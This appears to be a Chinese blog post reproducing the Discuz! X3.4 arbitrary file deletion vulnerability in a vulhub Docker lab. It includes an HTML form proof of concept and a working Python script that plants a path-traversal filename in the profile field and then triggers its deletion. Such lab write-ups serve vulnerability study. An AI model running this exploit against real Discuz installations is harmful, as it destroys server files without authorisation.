Discuz任意文件删除

Discuz任意文件删除

实验环境

官方于2017年9月28日对源码进行了修复,这里利用docker搭建环境:

cd vulhub/discuz/x3.4-arbitrary-file-deletion/
docker-compose up -d

服务器:CentOS7

攻击机:物理机(10.10.10.1)

环境搭建好后开始安装DZ

漏洞复现

  1. 在服务器DZ根目录下建立hummer.txt文件,利用漏洞删除该文件

    检查hummer.txt文件存在

  2. 注册Discuz用户,尝试修改个人信息

    http://10.10.10.142/Discuz/home.php?mod=spacecp

    填写个人信息后对该请求抓包:

    从图中可以得到hummer用户的formhash=4c8ba00c

    将birthprovince的值改为要删除的文件名(hummer.txt)

    然后放包:

    可以看到已经成功将birthprovince的值改为了要删除的文件名

  3. 构造POC:

    <form action="http://10.10.10.142/Discuz/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi
    nce]=aaaaaa" method="POST" enctype="multipart/form-data">
    <input type="file" name="birthprovince" id="file" />
    <input type="text" name="formhash" value="89b14d12"/></p>
    <input type="text" name="profilesubmit" value="1"/></p>
    <input type="submit" value="Submit" />
    </from>
    

    点击提交后,会有如下响应:

    此时文件已经成功删除了

    1. 自动化脚本:
    # -*- coding: utf-8 -*- 
    # @Time : 2022/4/1 16:22 
    # @Author : hummer
    # @File : Discuz.py
    
    import requests
    import re
    
    '''
    Discuz!X <=3.4 任意文件删除漏洞
    '''
    
    
    def get_cookie():
        cookies={}
        for line in raw_cookies .split(';'):
            key,value = line.split('=',1)
            cookies[key]=value
        return cookies
    
    def get_formhash(url):
        cookies = get_cookie()
        testurl = url + "/home.php?mod=spacecp"
        html = requests.get(testurl,cookies=cookies)
        com = re.compile('<input type="hidden" name="formhash" value="(.*?)" />')
        result = com.findall(html.text)
        return result[0]
    
    def del_step1(url,filename):
        headers={
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        }
        geturl = url + "/home.php?mod=spacecp&ac=profile&op=base"
        formhash=get_formhash(url)
        print("formhash: " + formhash)
        payload = {'birthprovince':filename,'profilesubmit':1,'formhash':formhash}
        cookies = get_cookie()
        html = requests.post(geturl,headers=headers,data=payload,cookies=cookies)
        if html.text.find('parent.show_success')>0:
            print('Step1 success!')
    
    def del_step2(url):
        geturl = url + '/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa'
        headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
        formhash = get_formhash(url)
        files = {'formhash':(None,formhash),'birthprovince':('1.jpg',open('1.jpg','rb'),'image/jepg'),'profilesubmit':(None,1)}
        cookies = get_cookie()
        r = requests.post(geturl,files=files,headers=headers,cookies=cookies)
        if r.text.find('parent.show_success')>0:
            print("Step2 success!")
    
    if __name__ == '__main__':
        raw_cookies = "QEWn_2132_saltkey=jB44A7n7; QEWn_2132_lastvisit=1648895823; QEWn_2132_sid=KrpF5f; QEWn_2132_lastact=1648899609%09home.php%09misc; QEWn_2132_sendmail=1; QEWn_2132_seccode=1.21187a98997a88f189; QEWn_2132_ulastactivity=9ebcAx%2FzsiL2Ju3gB4nnVG5GBBHyFTeCzO6%2FbmGu9WxSCw8brZTS; QEWn_2132_auth=afde08MuW%2BAKdFLrgYSqhflGjsYLnWVSBtpPs6HBpmnwkPkewQvRZIgT1G6mgVSIU7FxCC9L84iX7RSX2PIb; QEWn_2132_nofavfid=1; QEWn_2132_onlineusernum=1; QEWn_2132_noticeTitle=1"
    
        url = 'http://10.10.10.145'
        del_step1(url,'../../../hummer.txt')
        del_step2(url)
    

    运行结果如下:

漏洞复现完成

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值